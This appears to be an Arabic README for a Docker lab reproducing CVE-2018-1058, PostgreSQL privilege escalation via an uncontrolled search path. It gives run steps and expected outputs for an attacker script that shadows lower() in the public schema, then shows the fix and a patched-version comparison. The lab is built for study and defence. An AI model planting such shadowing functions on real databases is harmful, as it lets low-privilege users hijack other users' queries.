
عرض توضيحي قابل للتكرار يعتمد على Docker لتصعيد الامتيازات في PostgreSQL عبر CVE-2018-1058 باستخدام مسار بحث غير متحكم به، مع مقارنة بين البيئة الضعيفة والمصححة.
يحتوي هذا المستودع على التقرير النهائي والمواد القابلة للتكرار من أجل:
CVE-2018-1058: تصعيد الامتيازات في PostgreSQL من خلال مسار بحث غير متحكم فيه
الهدف هو توضيح فشل الثقة في مسار البحث وراء CVE-2018-1058 باستخدام بيئة Docker محلية آمنة.
العرض التوضيحي لا يعيد إنتاج مسار تنفيذ pg_dump التاريخي بالضبط. بدلاً من ذلك، فإنه يعيد إنتاج نفس السبب الجذري الموصوف في إرشادات PostgreSQL: يحتوي مخطط قابل للكتابة من قبل المهاجم على كائن مشابه، وتقوم جلسة أخرى بحل اسم غير مؤهل إلى ذلك الكائن.
.
├── report.pdf
├── docker-compose.yml
├── README.md
└── scripts/
├── init.sql
├── init_safe.sql
├── exploit.sql
├── victim_query.sql
├── verify_qualify.sql
└── fix.sql
التقرير النهائي هو report.pdf. يتضمن التحليل الكتابي ولقطات الشاشة المقابلة للمخرجات المتوقعة أدناه.
لا حاجة لملف Dockerfile. يستخدم المشروع صور postgres الرسمية.
لقطات الشاشة مضمنة مباشرة في report.pdf، لذا فهي غير متوفرة كملفات صور منفصلة.
قم بتثبيت:
psql، اختياري لكن موصى بهيستخدم العرض التوضيحي حاويتين من PostgreSQL:
تأكد من أن المنفذين 15432 و 15433 متاحين.
ترتيب التنفيذ المتوقع هو:
exploit.sql كمستخدم attacker.victim_query.sql كمستخدم victim ولاحظ البادئة CVE-2018-1058 DEMO:.verify_qualify.sql كمستخدم victim ولاحظ الإخراج العادي بالأحرف الصغيرة.fix.sql كمستخدم postgres.victim_query.sql ولاحظ الإخراج العادي بالأحرف الصغيرة.exploit.sql على المنفذ 15433 ولاحظ permission denied for schema public.docker compose up -d pg_vulnerable
docker compose ps
النتيجة المتوقعة: يجب أن تكون الخدمة pg_vulnerable قيد التشغيل ومربوطة بالمنفذ 15432.
تحقق من إصدار PostgreSQL:
docker exec -it cve1058_pg_vulnerable psql -U postgres -d demo_cve1058 -c "SELECT version();"
النتيجة المتوقعة: PostgreSQL 10.2.
docker exec -it cve1058_pg_vulnerable psql -U postgres -d demo_cve1058 -c "\du"
الأدوار المتوقعة:
postgresattackervictimالمهاجم ليس مستخدمًا خارقًا لـ PostgreSQL.
قم بتشغيل سكريبت المهاجم:
PGPASSWORD='AttackerPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U attacker -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/exploit.sql
الإخراج المتوقع:
CREATE TABLE
GRANT
GRANT
CREATE FUNCTION
يؤدي هذا إلى إنشاء:
public.exploit_log؛public.lower(varchar).PGPASSWORD='VictimPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U victim -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/victim_query.sql
الإخراج المتوقع:
CVE-2018-1058 DEMO: Alice Demo
CVE-2018-1058 DEMO: Bob Demo
يظهر هذا أن استعلام الضحية العادي قام بحل lower(...) إلى الدالة المسيطر عليها من قبل المهاجم.
PGPASSWORD='AttackerPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U attacker -d demo_cve1058 \
-c "TABLE public.exploit_log;"
النتيجة المتوقعة: صفان على الأقل في public.exploit_log، واحد لكل صف معالج بواسطة استعلام الضحية.
PGPASSWORD='VictimPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U victim -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/verify_qualify.sql
الإخراج المتوقع:
alice demo
bob demo
يعمل هذا لأن pg_catalog.lower(...) يجبر PostgreSQL على استخدام الدالة المضمنة.
PGPASSWORD='postgres' \
psql -h 127.0.0.1 -p 15432 -U postgres -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/fix.sql
قد يتضمن الإخراج المتوقع:
DROP FUNCTION
DROP TABLE
REVOKE
REVOKE
ثم أعد تشغيل استعلام الضحية:
PGPASSWORD='VictimPw!ChangeMe' \
psql -h 127.0.0.1 -p 15432 -U victim -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/victim_query.sql
الإخراج المتوقع:
alice demo
bob demo
الدالة المسيطر عليها من قبل المهاجم قد اختفت، ويعيد الاستعلام سلاسل عادية بأحرف صغيرة.
docker compose up -d pg_fixed
docker compose ps
تحقق من الإصدار:
docker exec -it cve1058_pg_fixed psql -U postgres -d demo_cve1058 -c "SELECT version();"
النتيجة المتوقعة: PostgreSQL 10.3.
PGPASSWORD='AttackerPw!ChangeMe' \
psql -h 127.0.0.1 -p 15433 -U attacker -d demo_cve1058 \
-v ON_ERROR_STOP=1 -f scripts/exploit.sql
الإخراج المتوقع:
ERROR: permission denied for schema public
هذا يعني أن المهاجم لا يمكنه إنشاء الدالة المزيفة في public، لذا تتوقف سلسلة الهجوم قبل حل الاسم.
لإيقاف الحاويات:
docker compose down
لإزالة وحدات التخزين وإعادة تعيين المشروع بالكامل:
docker compose down -v
هذا العرض التوضيحي غير ضار عن قصد. لا يسرق البيانات، ولا يصل إلى الملفات، ولا ينفذ أوامر نظام التشغيل.
يستخدم الاستغلال بادئة سلسلة مرئية وجدول سجل لإثبات أن PostgreSQL قام بحل اسم دالة غير مؤهل إلى كائن مسيطر عليه من قبل المهاجم.
يتعلق CVE الرسمي بـ pg_dump وتطبيقات العميل الأخرى. يوضح هذا المستودع نفس فشل الثقة في مسار البحث في بيئة دراسية آمنة وقابلة للتكرار.
إذا كان المنفذ مستخدمًا بالفعل، أوقف أي خدمة PostgreSQL محلية أو غيّر منافذ المضيف في docker-compose.yml.
إذا لم يتطابق الإخراج مع النتائج المتوقعة، أعد تعيين البيئة باستخدام:
docker compose down -v
docker compose up -d pg_vulnerable
إذا لم يكن psql مثبتًا محليًا، فلا يزال بإمكانك تشغيل أوامر فحص الإصدار والأدوار باستخدام docker exec داخل الحاويات.
إذا فشل الاستغلال على pg_vulnerable، تأكد من إعادة تعيين قاعدة البيانات وأن scripts/exploit.sql يتم تنفيذه قبل scripts/fix.sql.
| الخدمة | الإصدار | اسم الحاوية | المنفذ المضيف | الغرض |
|---|
pg_vulnerable | PostgreSQL 10.2 | cve1058_pg_vulnerable | 15432 | عرض توضيحي ضعيف |
pg_fixed | PostgreSQL 10.3 | cve1058_pg_fixed | 15433 | مقارنة مصححة/مُحصّنة |